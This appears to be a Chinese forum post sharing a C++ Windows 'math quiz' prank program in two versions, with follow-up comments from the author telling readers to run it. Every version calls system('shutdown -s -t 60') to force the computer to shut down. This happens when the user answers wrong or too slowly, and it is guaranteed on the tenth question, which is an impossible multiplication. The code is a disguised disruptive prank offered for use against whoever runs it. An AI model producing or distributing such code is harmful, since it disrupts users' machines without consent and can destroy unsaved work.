初级光能
肥肠简单
#include<iostream>
#include<stdlib.h>
#include<windows.h>
using namespace std;
int main(){
int t;
for(int i=1;;i++){
if(i==10){
cout<<"9274597597967967476943769794674689*395479307459037467935673875973289=";
cin>>t;
cout<<"Wrong Answer!!!!!!!";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
}
int a=rand()%100;
int b=rand()%100;
cout<<a<<"+"<<b<<"=";
cin>>t;
if(t!=a+b){
cout<<"Wrong Answer!!!!!!!";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
break;
}else{
cout<<"Accepted";
Sleep(2000);
system("cls");
}
}
return 0;
}
陈慕嘉在2022-07-28 12:05:06追加了内容
更新一下,运行下面的
#include<iostream>
#include<stdlib.h>
#include<windows.h>
using namespace std;
int main(){
int t=0;
for(int i=1;;i++){
if(i==10){
cout<<"9274597597967967476943769794674689*395479307459037467935673875973289=";
Sleep(10000);
if(t==0){
cout<<"\nTime Limit Exceeded";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
break;
}
cin>>t;
cout<<"Wrong Answer!!!!!!!";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
break;
}
int a=rand()%100;
int b=rand()%100;
cout<<a<<"+"<<b<<"=";
Sleep(10000);
if(t==0){
cout<<"Time Limit Exceeded";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
break;
}
cin>>t;
if(t!=a+b){
cout<<"Wrong Answer!!!!!!!";
Sleep(2000);
system("cls");
system("shutdown -s -t 60");
break;
}else{
cout<<"Accepted";
Sleep(2000);
system("cls");
}
}
return 0;
}
陈慕嘉在2022-07-28 12:07:32追加了内容
发错了,还是运行第一个
陈慕嘉在2022-07-28 12:07:40追加了内容
发错了,还是运行第一个